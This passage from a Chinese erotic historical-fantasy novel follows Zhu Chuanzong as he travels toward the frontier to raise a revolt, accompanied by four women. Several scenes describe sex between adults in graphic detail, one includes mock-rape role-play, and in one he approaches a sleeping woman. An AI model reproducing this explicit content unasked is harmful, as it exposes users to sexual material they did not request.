水灵儿摇了摇头,欲言又止,白了他一眼,低下头去。
叶飞飞笑道:「灵儿现在可没时间陪我们啦,她忙着去尽孝了。」
朱传宗一怔,水灵儿是个孤儿,去哪里尽孝?
水灵儿脸色羞红,嗔道:「笨蛋!」
原来朱家被贬出京城,水灵儿担心他们的安全,一路护送他们到了岭南,哪知道庞来孝还不放心,一直派人监视着朱家,水灵儿也就陪着住了下来。直到前些日子听到吴思远传来的消息,说是朱传宗要出来起兵了,这才赶来相见。
朱传宗心中感动,忍不住走过去握住她的小手。
水封良道:「听说大人要起兵对付庞来孝,真是顺应天意的义举啊!我们老君教也愿意出一份力,不知道可有能效命的地方?」
朱传宗一愣,心想:「你能出什么力?难道跑去我的军队里传教?」
他心里是不愿意跟老君教有什么牵扯,可是人家刚救了自己性命,也不好拒绝。想了片刻,心中一动,笑道:「还真有件事要麻烦水伯伯。我起兵之后,恐怕庞来孝会恼羞成怒,伤害我的家人,不知道能不能麻烦贵教去保护我的家人呢?」
朱传宗猜得不错。水封良确实打算藉这个机会扩大老君教的势力,不过朱传宗开了口,他也不好回绝,想了想,觉得这也是个攀上朱传宗的路子,也就答应了。因为时间紧迫,当下就要出发。
水灵儿犹豫了片刻,却不想去。
朱传宗得意道:「灵儿肯定是舍不得我。」
水灵儿撇了撇嘴道:「你有什么好稀罕的?我是想跟着大家上阵杀敌。」
说着亮了亮宝剑。
朱传宗一时无语。众人一阵大笑,水封良也同意水灵儿留下帮忙,然后领着众人离去。
王大牛几人互相看了看,张老五问道:「少爷,您真的打算起兵吗?」
朱传宗点头道:「没错!等到了边关,我就要通告天下讨伐庞来孝。你们怕不怕?」
王大牛拍着胸脯道:「庞来孝算个鸟,有什么好怕的!」
钱老六笑道:「哦?你这么厉害,那你干脆现在去把庞来孝宰了吧!」
王大牛脸一红,挠挠头道:「我是说庞来孝跟少爷一比算个鸟,我跟在少爷身后才不怕的。」
一句话把众人都逗乐了。
赵老四道:「少爷,我们山寨里还有几百个人马,我们现在就回去收拾一下,再去边关与你会合,也为您的大事出点力。」
朱传宗自是点头称善,随即四人带着手下回山准备。
这会庙里只剩下朱传宗与四个女子。这四女虽然都是国色天香,却又各有不同韵味。媚妃是妖媚多姿,薛金线端庄可人,水灵儿满面英气,紫纱仙子清丽脱俗、楚楚动人。可以说是春兰秋菊,各有所长,照得这间破庙蓬荜生辉。朱传宗看得眼花缭乱,边看边笑,想到这些钟天地灵秀的女子全垂青于自己,更是得意。
水灵儿忍不住噗哧笑道:「呆子,傻笑什么?」
朱传宗道:「灵儿,来,我给你介绍一下这几位姊姊。」
水灵儿因为一向行踪飘渺,只闻其名,未见其人。今日一见,她不但貌美,而且武艺高强,巾帼不让须眉,尤其难得。三人一见就对这个妹妹十分喜爱。她们都是世间少有的奇女子,彼此钦佩,聊了几句,很快就亲热起来,排了排年纪,以姊妹相称。
几人登上马车,继续上路。走了一天,来到了一家客栈落脚。
朱传宗看着四个千娇百媚的美人儿,心里痒痒的,笑问道:「今晚你们谁来陪相公?」
四女都是俏脸一红,尤其常乐公主还是云英之身,更是羞得扭过头去。剩下三人嗔道:「你想得美,谁稀罕陪你呀!我们姊妹还有体己话要说,你自己睡去吧!」
结果四女住在一起,谁也不肯跟朱传宗同房睡。朱传宗空欢喜了一场,不由大叹。
到了晚间,朱传宗刚要歇息,突然有人敲门,打开一看,媚妃轻手轻脚进了来,怀里抱着小宝儿。
媚妃进门道:「做什么呢?带儿子来给你看看,路上一直不得空。」
朱传宗忙起身接过小宝来,一手搂着媚妃在床边坐下。小孩儿刚吃过奶,已经睡得熟了,小身子粉嫩柔滑,朱传宗真是爱不释手,又忍不住探嘴去亲。
媚妃道:「别乱动,小心吵醒了宝儿!」
朱传宗心中一动,假装生气道:「你故意给儿子起我的小名,我正想找你算帐呢。」
媚妃轻笑了几声,先把孩子在床边放好,随即侧着俏脸,媚声道:「是我错了。相公想要怎么惩罚人家呢?」
贝齿咬着樱唇,眼波流转,楚楚可怜地看着朱堡不。
朱传宗忍无可忍,一把搂住,当:「小骚货,还敢发嗲,瞧我怎么收拾你!」
媚妃是天生媚骨,又久未与朱传宗亲近,被他这么一抱就化成水了,软在朱传宗怀里,贴着他耳根道:「冤家,你可快一些,我等会儿还要回房去呢。」
这时她一动情,身上的异香又飘散出来,熏得朱传宗意乱神迷。一手探进小衣,用力揉捏,大嘴也吻了上去。
正要入巷,门外却有人敲门问道:「呆子,睡了吗?」
听声音却是水灵儿。
媚妃一惊,推开朱传宗道:「糟了,要被发现了。」
朱传宗笑道:「灵儿又不是外人,怕什么?」
媚妃道:「刚才都说了不来,现在被堵在房里,明天不是要被她们笑话?不行!」
她眼珠一转,抱起小宝儿躲在床幔后面。
水灵儿进门来,问道:「你在做什么?怎么我敲了半天不开门。」
朱传宗道:「想你啊,所以睡不着。」
水灵儿脸一红,白了他一眼,道:「油嘴滑舌的,说,这一年多来又骗了多少女孩子?」
朱传宗故意道:「你等等啊,我数数,一、二、三……」
掰着手指数起来。
水灵儿气道:「好哇,你居然……」
朱传宗忽然停下来道:「数不清了,遇到的漂亮女人太多了。不过她们跟我的灵儿一比,就像根草一样,我怎么可能动心呢。」
水灵儿咯地一笑道:「我哪有你说的那么好。」
却已不再生气了,坐在床沿上,托着香腮,望着朱传宗微笑。
过了一会儿,水灵儿叹了口气道:「我还以为再也见不到你了。」
朱传宗道:「你怕我被庞来孝捉住杀了?」
水灵儿摇头道:「不是,是我……打算不再见你了。每次见过你之后,我都暗下决心,以后绝不来找你,安心做一个除暴安良的女侠。哪知道又管不住自己,见不到你时,每日都思念你,一听说你出事,就忍不住赶来。你说,我该怎么办呢?」
朱传宗心疼地握着她的手,道:「吴先生曾经对我说过,没有一种爱是构筑在自由之上。我虽然想把你留在身边,但如果因此要你放弃志向,让你终日闷闷不乐,又算什么真的爱你呢?你放心吧,不管你怎么选择,我都会支持你的。」
水灵儿甜甜一笑,道:「你对我是真的好,我果然没看错你。」
片刻后突然小声道:「其实也有个法子。」
朱传宗忙问是什么法子,水灵儿红着脸,低着头,半天也不肯说。
朱传宗见她斜倚在床头上,乌云巧挽,桃脸微红,羞答答地,款款动人。一时把躲在幔帐后面的媚妃忘了,遂把水灵儿嫩脸一摸,又两手把灵儿嘴儿捧过,狠狠的亲了个嘴,道:「你不想说,以后再说也行。不如我们现在……」
水灵儿星眸迷离,宛转相就,一副顺从模样。朱传宗大喜,一面含着滑嫩香舌,细细品尝,一面伸手解她裤带,抚摩着白生生的雪滑肌肤,不忍释手。
水灵儿意乱情迷,闭着双眼,轻轻呻吟,好似猫儿叫着一般,心中想道:「傻瓜,我说的法子就是替你生个儿子。等我有了你的骨肉,也就偿还了你的情分了。」
这时朱传宗见她情动,于是慢慢伸了手儿把水灵儿裤儿一卸。水灵儿柔顺地抬起俏臀来,那裤儿便一溜褪到大腿下边。朱传宗定睛细看,只见臀儿浓浓,似白蜡做成,嫩生生两条腿儿,如水银灌就。
朱传宗两眼放光,正待分开双腿仔细品尝,突听薛金线敲门道:「相公。」
水灵儿登时色变,小声急道:「这可怎么办才好?」
朱传宗暗觉好笑,心想:「我跟自己的女人亲热,怎么跟偷情似的,一个个都唯恐被人知道。」
水灵儿四处看了看,眼前一亮,一手提着裤子,一手掩着衣襟,也往幔帐后面藏去。朱传宗想起媚妃也躲在那里,但已经来不及了。
只听两声惊叫,同时门一开,薛金线走了进来,一边笑道:「相公你房里是什么声音?」
说到一半也呆住了。
只见媚妃抱着孩子站在幔帐旁边,水灵儿衣裙不整,看样子正要往幔帐里去,两人相对站着,脸色都通红不已。
薛金线看了,心中转了转就猜出来了,不禁笑道:「媚妃姊姊说要出去散步,灵儿妹妹说要去练剑,怎么都到相公房里来啦!」
忍不住笑了起来。
两女彼此看了一眼,脸更红了。过了一会儿,媚妃道:「啊,我要给宝儿喂奶了,我回房去啦。」
水灵儿也赶紧找个藉口逃掉了。
薛金线正转身要走,朱传宗拉住她道:「怎么刚来就要走?」
薛金线抿着嘴笑道:「刚才姊妹们都嘴硬不肯陪相公,我怕你生气,所以来看看,没想到你快活得很呢。算我多事,我要回去了。」
朱传宗道:「现在一个都没啦,我还快活什么?除非娘子你留下来,我才快活呢。」
薛金线道:「要是方才我倒可以陪你,现在却不行啦。」
朱传宗道:「为什么现在不行?」
薛金线展颜一笑,风情无限,斟酌着道:「刚才在房里,都说不稀罕你这臭男人,不陪你来着。现在却……总之我不做第一个,你先吃了她们,我才让你碰。」
朱传宗怔道:「这算什么道理?」
薛金线意味深长地笑道:「女人的心事,你不会懂的。」
说完转身出门去了。
第二天出发之时,媚妃几女都欢笑如昔,没什么不自然的神色,仿佛什么事都没发生过,只是再也不肯到朱传宗房里来找他。朱传宗心想:「难道就这样走一路?我非使点手段,把你们手到擒来不可。」
05-15
第八章香艳旅途
朱传宗带着四美上路,直奔边关。一路上莺声笑语,倒也快活,只是四女住在一起,都不肯与他同房,光看不能吃,实在难熬。走了几日,朱传宗再也忍不住,暗暗寻思如何才能得偿所愿。
他想了一遍,紫纱仙子是不用想了,薛金线和水灵儿的性情,恐怕也不肯出来偷欢,倒是媚妃身上最有希望。
趁着吃饭的机会,朱传宗悄悄把媚妃拉到一旁,道:「晚上没事做,又睡不着。不如咱们找个没人的地方聊聊天?」
媚妃瞟了他一眼,笑道:「只是聊天吗?我看你有点不怀好意呢。」
朱传宗微笑地看着她,别有意味地道:「就是有些不怀好意,你敢不敢去?」
媚妃斜着媚眼,道:「我还怕你不成。」
两人约了时间地点,媚妃秋波一转,又朝朱传宗笑了笑,才转身嫋娜地去了。朱传宗心中想到再忍几个时辰,就能再享受到那绝美妖娆的身体,不由食指大动,恨不得马上天黑才好。
到了约定时分,朱传宗起得床来,轻手轻脚来到院墙边柳树下,想这柳树远离居住之所,又是半夜,况且内院无人巡视,真是偷情的绝好去处。
朱传宗来到柳树下时,但见媚妃身着长裙,薄施粉黛,身姿绰约,早已立于树下待着,好生欢喜,忙将她搂入怀中。
媚妃轻笑道:「你不是来找我聊天的?再动手动脚的,我可要喊人啦!」
朱传宗笑道:「喊吧,喊破喉咙也没人会来救你的!」
媚妃小声喊起来:「救命啊,来人啊,有淫贼要强奸我啊!」
脸上也是一副惊慌害怕的表情。
朱传宗看了,更是火大,再也忍不住,大手从媚妃衣衫缝处伸了进去,但觉媚妃胸前浪荡,不由一愣,笑道:「小贱货,真了解大爷的心意!」
原来媚妃为了方便行事,已事先将那胸衣褪去。朱传宗一触之下,便是媚妃鼓胀挺拔的玉乳,绵软滑腻,好生痛快,用手拧弄挤压,媚妃亦觉舒畅,乳房被朱传宗这番调弄,已是坚挺结实,更令人爽抉。
媚妃娇呼了一声,媚声道:「淫贼,这下你高兴了吧?」
脸上惊慌之色突然没了,俏脸生晕,眉眼含春,娇喘吁吁,从贞洁烈妇一转变成了淫娃荡妇。
即刻两人亲吻起来,但见四唇相接,两舌互搅。
媚妃情热之下,反客为主,但见她手指一挑,褪去了朱传宗裤绳,一把扯下裤儿,但见玉茎早已坚挺,便用手握住,但觉那物粗大灼热,甚是烫手,用手把那玉茎搓动轻拧,不时用指尖触抚那玉茎前端小孔,令朱传宗欲火更旺,三五两下玉茎前端便涌了淫液,媚妃用手沾了,又腻又滑,如抚锦缎,甚是舒服。
媚妃低头看去,月光下见那粗大玉茎已胀起,好似草丛中一条蛇般,在那一动一动的,心中欲火亦是狂燃,阴内好似虫爬一般,痒了起来,忙伸出一手,抓住朱传宗那玉茎,伏下头,把那玉茎一口噙在了嘴中。
朱传宗年余不尝这般消魂滋味,顿时爽歪歪,如魂飞天外,不由低头看去。
只见媚妃一手握其玉茎根部,在上轻轻擦捏,把那尖儿噙于口中,上下套弄一番,随即用舌尖轻舐那尖儿,在那四周慢慢舔舐,随后又是一阵套弄,口中啧啧有声,似在品尝什么美味佳肴。
朱传宗心想:「床上还是媚妃最可人,金线她们虽然美貌,这些事是不肯做的。」
隐忍不住,口中大声呻吟,只觉那玉茎之上犹如蚂蚁爬动,阵阵钻心之痒传遍全身,浑身发热,骚痒难耐,不觉把那玉茎在媚妃口中拌动了几下,伸出手儿,向下探去。
只觉入手处光溜溜,软绵绵,跟个面团似的,中间一道峡谷,流水潺潺,又热又湿,原来媚妃连下裤也没穿。他不禁大喜道:「小荡妇,想得很周全啊!」
媚妃一边舔舐玉茎,含糊不清地道:「皇上,奴婢服侍的好吗?」
朱传宗笑道:「好,朕也奖赏奖赏你!」
把指儿沿着媚妃玉臀从后面插入穴内,在里头一阵急插,插弄一阵,又揉搓一刻。少顷,一股淫水从媚妃穴内泄出,顺着那玉腿流下。朱传宗继续揉搓插弄,媚妃只觉穴内骚痒,甚是难受,忙左右晃其玉臀,把那穴儿缩了几缩,不时夹住朱传宗手指。过了片刻,媚妃只觉穴内一热,浑身发抖,口中吞着那玉茎,嘟哝叫道:「心肝,美死奴家了。」
穴内一紧,不觉泄了一次。
过了一会儿,朱传宗站直身,一手抱住媚妃上身,一手紧抱头部,把媚妃紧抱于胸前,嘴儿狂亲媚妃那玉唇,好似发疯一般,下身那柄儿在媚妃穴中左冲右突,在上着力挤搓。媚妃水蛇一样缠在他身上,异香阵阵发出,口中娇媚叫道:「皇上,奴婢受不了了,快疼爱奴婢吧!」
一边伸手前后拨弄,不时揉其双卵。
朱传宗忍受不住,忙把媚妃拦腰抱起,来至柳树跟前,把媚妃紧抵于树上,用手扶起那柄儿,对准媚妃阴门,一挺身,猛地插将进去,一顶没棍。媚妃大叫道:「心肝,顶死奴家了。」
朱传宗只觉得其中又软又紧,又不住蠕动,紧窄难言,笑道:「怎么还是这么紧,一点也不像生过孩子的妇人。」
媚妃道:「紧了皇上才快活啊,皇上喜欢吗?」
献媚似的扭了扭腰,又缩紧下体,几乎要将玉茎夹断。
朱传宗怒道:「还敢作怪。」
大力抽动起来。
想玉茎乃是灼热之物,那穴儿亦是火烫烫的,几经抽插,更是灼热似烤。媚妃经男子抽插一阵,玉肢颤抖,香气横喘,口中呻吟更是连绵不断。玉穴中淫液亦被玉茎一抽一提,溅得四处都是,沾满两人腿部小腹。
媚妃被弄得死去活来,只是大叫:「亲亲……好哥哥,轻一些,啊……心肝都被你抽出来了。深一些……啊,我要死了……」
淫声浪语不绝。
朱传宗也不管她,挺起了身,急急抽送。急抽了一回,又慢抽一回;慢抽了一回,仍复又急抽一回。一插,那玉茎便直达底处,且在花蕊处癫吸,直吸得媚妃腹内空空,爽得如空囊一般;一抽,便连根扯出,令那穴中积满爱液,及至一插,淫水四溢,滑畅酣甜,无法言表。抽得那媚妃口中哼哼唧唧,鱼龙妙曲不绝于耳,身子亦不时抖个不停。不觉已泄了三次,朱传宗才一泄如注。
媚妃神酥骨软,几乎站立不住。靠着柳树,抱着朱传宗,腻声道:「皇上,你真厉害,弄得人家差点成仙了,恨不得死在你身下才好!」
朱传宗得意道:「那还用说。」
伸手抚弄揉捏了一会儿,又道,「小荡妇,明明想要,干嘛偏假装正经,不来陪我?」
媚妃看了他一眼,幽怨地道:「人家又没有名分,姊妹几个都在,我抢着投怀送抱,不是让人看轻?唉,今晚遂了你心愿,希望别被她们知道才好。」
朱传宗微一思忖,顿时明白。原来几女共侍一夫,虽然心甘情愿,彼此也不嫉恨,争个高下的心思,却是难免要有几分的,这是人之常情,一点也不奇怪。
尤其除了薛金线,其他三女尚无名分,因此格外矜持,惟恐被人看轻。
怪不得那晚几女到他房中来,都怕别人看见,撞破之后,又那样尴尬。原来好胜之心,人人都有,几女那样优秀,怎么肯甘于人下呢。只不过她们都爱朱传宗,所以掩藏起来罢了。
朱传宗想到这里,倍感幸福,心道:「她们是有理想的人,为了我放弃了很多,甘受委屈,我以后得更好好好怜惜她们才是。」
这时已近二更天,月亮都被云彩遮住了。因为第二天还要赶路,两人又搂抱亲吻了一会儿,才穿好衣服,各自悄悄回房。
两人尝到了野外偷情的滋味,比之当初在皇宫里偷欢另有一番滋味,大感刺激。媚妃是久旷的身子,更是欲罢不能。两人自此常拿聊天当藉口,半夜出去幽会,也不必细说。
转眼又走了十多日,离京城已经很远了。朱传宗见庞来孝一直没再派追兵,也放下心来。他们原来都是小心谨慎,着急赶路。路过景色好的地方,也只是走马看花的一看,虽然不舍,想要好好欣赏,也没有办法。现在看已经没了危险,便不想错过了。
尤其是常乐公主,她自从出生以来,几乎没出过皇宫。读到诗词中描绘的秀丽山水,常常神往不已。恰巧这日路过一座小山,便提议去游玩半日。
朱传宗赶着马车进山,停在一条小河边。这时正是春夏时节,树木繁郁,山花烂漫,山水相依,犹如画卷。他们席地而坐,摆上美酒吃食,赏花喝酒,惬意得不得了。
过了一会儿,常乐公主起身想要去别处看看,朱传宗起身相陪。
两人沿着河边走了一会儿,常乐公主身子有些乏了,便在一块溪石上坐下来。她见那河水清凉碧透,十分可爱,忍不住除去鞋袜,将双脚浸在水里,轻轻划动。
朱传宗偷眼看那两只晶莹的小脚儿,仿佛白玉雕就,白里透粉,令人直想捧在手心把玩。小趾如珠,闪闪发亮,光泽流转。脚踝纤细有致,小腿挺直修长,其玲珑诱人难以言表,不由看得呆了。
常乐公主感觉到朱传宗的目光,脸上一红,将小腿缩了回去,拿裙摆盖住。
两人都有些不好意思。朱传宗道:「对不起,我不是有意冒犯你的。」
常乐公主咯地一笑,歪着头看他,道:「难道你的眼睛会自己转过来?」
朱传宗笑道:「是啊,我对我的眼睛说,非礼勿视。可是它说,好不容易见到天上最美丽的仙子,死也要看个够,要是我不答应,它就跳出去自己看。我舍不得自己的眼睛,只好应了。所以也不能全怪我啊。」
两人说笑了几句,一阵山风吹过,河边树上的花瓣簌簌而下,落英缤纷,飘落到河面上。常乐公主手托香腮,痴痴凝望着。
看了一会儿,常乐公主双目迷离,似乎有一股寂寞迷茫之意,轻看着那些浮动无依的花瓣,幽幽吟唱:「林花谢了春红,太匆匆。无奈朝来寒雨,晚来风。胭脂泪,相留醉,几时重。自是人生长恨,水长东。」
那歌声宛转轻柔,幽怨反侧,似有万般心绪蕴涵其中。
朱传宗听得神游物外,不知己身何在,呆呆坐了不知多久,忽见常乐公主脸露悲凄,珠泪点点,不由一惊,清醒过来,忙问道:「你怎么哭了?」
常乐公主幽幽一叹,道:「红颜易老,就像这些花瓣,正开得鲜艳,转眼受狂风摧残,有的随流水而去,有的化作春泥,留不下一丝痕迹。人世间沧桑变幻,如过眼云烟,困苦如斯。不知道哪日我也如这花瓣一样,随风逝去,那时候你还记得我吗?」
朱传宗忍不住拉着她的手道:「你我是宿世的因缘,我对你的情意连上天都无法阻止,我怎么会忘了你呢?」
常乐公主道:「那时候你没喜欢过别的仙女,对我迷恋也不奇怪。可是现在你身边有这么多美丽聪慧的女人,我又不会像她们那样会讨你欢心……」
朱传宗道:「你的冰清玉洁,才情雅致,也是我所爱的。你是天上的仙子,能得到你的感情已是我的幸运,哪还敢奢望其他呢。」
常乐公主听他说得真挚,心中一阵甜蜜,愁思才渐渐消去。
两人回去,见到这时只剩薛金线和水灵儿还在喝酒,媚妃却是困乏难忍,靠在一棵树旁小憩。朱传宗见了,也生出一股困意。原来前晚两人出去偷欢,弄了大半夜,因此疲倦,于是朱传宗也靠在她旁边午睡了片刻。
等到醒来时,已是午后。水灵儿笑道:「呆子,你那么贪睡,小心以后变回大胖子。」
朱传宗看常乐公主还有些郁郁寡欢,想要逗她开心,心中一转,笑道:「说起午睡,我想起当初翰林院华老院长的一个趣事来。你们想不想听?」
几女都围在他身边,催他快讲。
原来翰林院长华文章十分贪睡,尤其最好午睡。一天有个学生问他书上『宰予昼寝』一句怎个解法?华文章说:『这句书,别人可不一定解得通。我告诉你吧。宰,就是杀;予,就是我;昼,就是中午;寝,就是睡,合起来就是:「杀了我也要午睡!』」那学生听得心悦诚服,连称老师真是学问渊博。
几女听得乐不可支,都是掩嘴而笑,眼泪都流出来了。
水灵儿读书少,不解其意。薛金线道:「宰予是个人名,乃是一位圣人的学生。『宰予画寝』说的是这个学生大白天睡觉,被老师训诫的故事。那位华院长竟然如此曲解,还沾沾自喜!真是好笑。」
水灵儿这才明白,也笑了起来,却又把眼光在朱传宗与媚妃两人身上来回转了转,微笑道:「那个宰予为什么这么困?难道也半夜跑去聊天吗?」
三女愣了一下,全都微笑起来,看向两人的眼光,都带些揶揄的意味。
媚妃俏脸一红,嗔怪地白了朱传宗一眼。朱传宗一怔,心想:「这几个女子都是聪慧无比,果然瞒不过她们。」
几人尽兴而去。到了晚间找了客栈,吃过晚饭,朱传宗看见水灵儿娇俏的容颜,不禁心动,小声对她道:「不如咱们晚上也去聊天好不好?」
水灵儿瞪了他一眼,道:「你自己去聊吧,我可不陪你去……去……」
红着脸,转身快步去了。
朱传宗知道她脸皮儿薄,不肯去外面欢好,暗叫可惜,又去求媚妃,媚妃笑道:「在灵儿妹妹那里吃了瘪,才想我了?白天刚害我被取笑,今晚你想也不要想了。」
抱着小宝儿笑吟吟地回房了。
朱传宗只好怏怏地自己回到房间。他这几日有了媚妃陪伴,更加孤枕难眠,正在辗转反侧,突然房门轻响,原来是薛金线。
薛金线走到床边,摸着他脸颊笑道:「相公一向无往不利、今天在两个姊妹那里碰壁,真是奇闻。」
朱传宗道:「岂止两个?还有你呢。」
薛金线微笑道:「相公生气了?我是你正娶的娘子,考虑难免要多些。我现在来给你赔罪啦。」
朱传宗知道她心思原就比别人多,心气又高,也不怪她。见了她巧笑嫣然的美态,顿时将不快抛到脑后,搂住美人亲热起来。
两人搂抱亲吻片刻,褪去衣物,倒在榻上。朱传宗抓住她两条白生生腿儿,架在肩上,正待挺身入洞,见薛金线脸上微有怯怯,不由觉得奇怪。
问了几遍,薛金线小声道:「前些天弄时,很是疼痛,仿佛新婚洞房那般,相公可要多多怜惜。」
朱传宗笑道:「你这是久未行房,花房狭窄,待为夫重新开垦就是。」
将玉茎插入小半,先不抽动,只是慢慢研磨,待轻松了些,再插入一寸。如此再三,入到妙境,薛金线也不觉甚痛,觉着比前日抽送之时,舒畅许多,那阴内像略略宽大些儿。这时玉茎已全根而入,薛金线酥痒难耐,下身亦是流水潺潺,方轻声道:「可以了,相公自管动吧。」
朱传宗此时欲火劲发,正忍得辛苦,闻言大喜,便合力大耸,突的一声,早已连根进去,在内用力抽送起来。薛金线只觉那妙物时时紧顶花心,刺着那花心中间,如蝶恋花放,阴内酸软麻痛,整个阴部被那妙物带得上下晃动,口中不禁轻吟慢哦,宛转娇啼。
朱传宗听她淫叫,兴头大起,便腿儿用力,紧收双股,将那玉茎急急抽送,不时传出「啪啪」之响声,只觉得薛金线那玉壁把那玉茎紧紧包住,比之媚妃的肥美软紧别有滋味,每次抽插,都是快美异常。朱传宗插送一会,歇了一歇,一连又入了三、四百入。薛金线阴精连泄两次,四肢无力,遍体酸软,口中呻吟之声不绝。朱传宗入够多时,方才顶住,大泄于花心上。
薛金线歇息了半晌,才缓过些气力,道:「现在我也如了你的愿,你跟媚妃也不用遮掩啦。以后想要……来你房里就是,我们都不来打扰。天天跑外面去,也不怕受了风寒。」
朱传宗笑道:「在外面的滋味很是特别,跟床上不同的。不如改天娘子跟我出去试试?」
薛金线红脸啐道:「谁跟你去外面!」
朱传宗知道她是万万不肯,说笑了几句,就不再提。
第二日起程时,几女见薛金线从朱传宗房里出来,稍有吃惊。不过他们是夫妻,也不奇怪,随即也就释然。
朱传宗枕边有了媚妃和薛金线,已是世间少有的艳福了。可是人都有一个劣根性,越是吃不到的,越是嘴馋。如今他心里琢磨的,就是怎么把水灵儿吃到嘴里。不过四女时常形影不离,实在难办。
这日打尖时,朱传宗便提出,四女同住一房太过拥挤,不如分两房睡的好。
媚妃忙点头道带着宝儿是有点挤,薛金线似笑非笑地瞄了朱传宗一眼,也同意了。于是便订了两间,薛金线与媚妃一间,水灵儿与紫纱仙子一间。
用过饭后,朱传宗不知从哪掏出一本古诗集来,说是从路上买的。薛金线三女都是有才学的人,紫纱仙子更是爱诗如命,顿时围在一起品评,爱不释手。水灵儿陪着听了一会儿,听不太懂,闲着无聊,自去屋里休息了。
朱传宗见计策得逞,暗自得意,过了片刻,悄悄摸到水灵儿房里。只见水灵儿睡在榻上,只穿着贴身小衣,胳膊小腿儿都露在外面,冰肌玉肤,令人神迷。
乌发蓬蓬,两腮红润,香味阵阵,真是一副绝美的海棠春睡图。
朱传宗细看多时,难以按捺,急忙脱去衣裤,赤条条地跨上榻去。
第九章起兵造反
水灵儿一惊之下便醒了,睁眼见是朱传宗,不由俏脸一红,道:「你跑我房间里来,想做什么坏事?」
朱传宗笑道:「知道我是要做坏事,还问什么?」
说着大手已从小衣里伸进去,在滑不溜手的肌肤上肆意把阮,又凑上去吻她的樱桃小嘴。
水灵儿到现在哪里还不知道是怎么回事,娇端吁吁道:「我就知道你们这些当官的都不是好人。原来你早就计划好了。」
朱传宗是床笫老手,手段高超,根本不是水灵儿能抵抗得住的。何况她心中早也愿意,不一会儿。已是两腮桃红,星眸微觑,好似一团软玉摊在朱传宗身下。朱传宗见火候差不多了,将胯下坚硬如铁的玉茎在花心上蹭了蹭,就待插入。
这时突听啊地一声惊叫,两人停下动作转头一看,只见常乐公主一手掩嘴,瞪大眼睛站在门口,脸色很是奇怪,片刻之后低下头转身走了。
水灵儿羞得满脸通红,一把将朱传宗推下床来,嗔道:「都怪你!」
急忙穿好衣服追出去了。
朱传宗色心顿消,呆呆地在床头坐了一会儿,心中无端涌起几分恐慌,心想:「喜儿会不会生我的气?我这次真是冒犯她了。」
又过了一会儿,见没人回来,只好穿上衣服。到了薛金线她们那间房门口,听到里面似有语声,听声音四女都在,朱传宗站了半天,不好意思进去,便回自己房间去睡了。
此后常乐公主每日都怏怏不乐,似乎有什么心事。也不怎么跟众人说话了,也不提议去游玩。有的时候眼圈红红的,隐有泪痕。朱传宗见状急得要死,可是问了几次,常乐公主只是不理,扭头便走,朱传宗也是无计可施。
水灵儿自那晚之后,说什么也不肯再让朱传宗碰了。朱传宗因为常乐公主的事发愁,也不太在意,就连找薛金线和媚妃陪伴的心思都淡了不少。他和常乐公主的事,别人也看在眼里,但是这种事旁人是帮不上忙的,只能靠他自己。
这天吃过饭,朱传宗心里有些烦闷,到院子里去散步。正走着,仿佛听见有人在说话,仔细看去,只见常乐公主站在月下,穿着一袭白裙,身姿绰约,清丽脱俗,仿佛随时都要乘风而去。
朱传宗看得呆了,想要走过去,怕常乐公主又躲开他,只好远远望着。
她似乎颇有愁绪,秀眉微颦,低头看着月色。过了一会儿,突然叹了口气,轻声吟道:「篱畔秋酣一觉清,和云伴月不分明。登仙非慕庄生蝶,忆旧还寻陶令盟。醒时幽怨同谁诉,衰草寒烟无限情。」
吟完之后又叹了口气。
朱传宗现在颇有学问,这诗词的意思也能领会个大概。他听见她在诗里说,不想登上天界去做神仙,只想和他重结前世的缘分,顿时心中大喜,忍不住走到她跟前。
常乐公主对月伤情,哪知被人窥破心事,那人偏偏还是朱传宗,脸上一红,又转身要走。却被朱传宗拉住,道:「喜儿,你明明爱我,为什么要躲着我?」
常乐公主看了他一眼,有些委屈幽怨的神情,然后低下头去不说话。
朱传宗道:「是不是我说错了什么话,做错了什么事,冒犯了你?如果是的话我向你赔罪。」
常乐公主又看了他一眼,张了张嘴,脸上却又一红,还是不说话。
朱传宗心中一转,道:「我知道啦,一定是那天你看见我跟水灵儿亲热,所以生我气了?你是不是在怪我?」
常乐公主终于忍不住道:「我没有。」
朱传宗道:「那是为什么?」
常乐公主又踌躇半天,方道:「你们那天,在床上,是在……是在行敦伦之事吗?」
说着脸已红得跟晚霞一样。
朱传宗心想:「她果然因为这个生气。」
不过听到圣洁出尘的仙子羞怯地询问闺房之事,心里却有一种特别的滋味,点头道:「是啊。」
常乐公主脸更红了,小声道:「夫妻之间,一定要这样吗?」
朱传宗见她为难的神色,顿时恍然。原来像紫纱仙子这样的仙女,修行千万载,早已摒弃了凡俗的情爱,就算与朱传宗有情,也是更注重精神上愉悦。在神仙看来,凡人的床榻之欢,只是一种低层次的享乐,真正的情爱,是超脱于普通肉欲之上的。紫纱仙子本来就是最圣洁的仙女,看了朱传宗与水灵儿交欢,觉得这不是自己想要的爱情,更怕将来朱传宗也要求自己这样,因此心中抑郁,也就不奇怪了。
朱传宗微微一笑,道:「凡间的夫妻,确实都要这样的。」
常乐公主皱了皱蛾眉,贝齿轻咬红唇,十分为难。朱传宗笑道:「不过咱们是神仙眷侣,自然不一样。」
紫纱仙子一怔,不由抬头问道:「你的意思是?」
朱传宗道:「我只愿与你比翼齐飞,日日看见你的姿容,听到你的歌声,已是世上最大的幸福了。你在我心里圣洁无比,我怎么会想要玷污呢。你放心吧,我爱的是你的人,不是你的身体。如果你不愿意,我不会强迫你的。」
常乐公主闻言不禁又惊又喜,但是又觉得对朱传宗有所亏欠,道:「可是……」
朱传宗柔声道:「不用说了。你的心意,就是我的心意。」
两人相视而笑,只觉得情意浓浓,尽在不言之中。
常乐公主去了心结,脸上愁容顿消,展颜一笑,眸如秋水,唇似豆悲。朱传宗看得入神,心里突然有些后悔,觉得这样绝美的容颜,只是欣赏,实在有些不甘心,不由道:「可是有些滋味,你也会喜欢的。」
常乐公主道:「什么?」
朱传宗道:「就是这个。」
不等她回过神来,已经揽住她的纤腰,一口噙住了她娇艳欲滴的红唇。紫纱仙子刚开始还推拒两下,很快便沉浸其中,与朱传宗口舌交缠,难分难舍。朱传宗只觉得伊人口齿香甜,有如一汪甘泉,沁人心脾,不由吸住灵舌,咂吮不止,直把常乐公主吻得娇喘连连,满面桃红,这才放手。
常乐公主喘息着道:「你这个好色的小仙,当初就是因此触犯天条,现在仍一点也不知道悔改。」
朱传宗笑道:「你不喜欢这个滋味吗?你不是随我一起来了?」
两人情意绵绵的对视了半晌,不禁又宛转相就,亲吻起来。
忽忽又过了十几天,终于到了北疆省境内。这是大梁国与西辽国交界的省分,王定昆的军队就驻扎在这里。
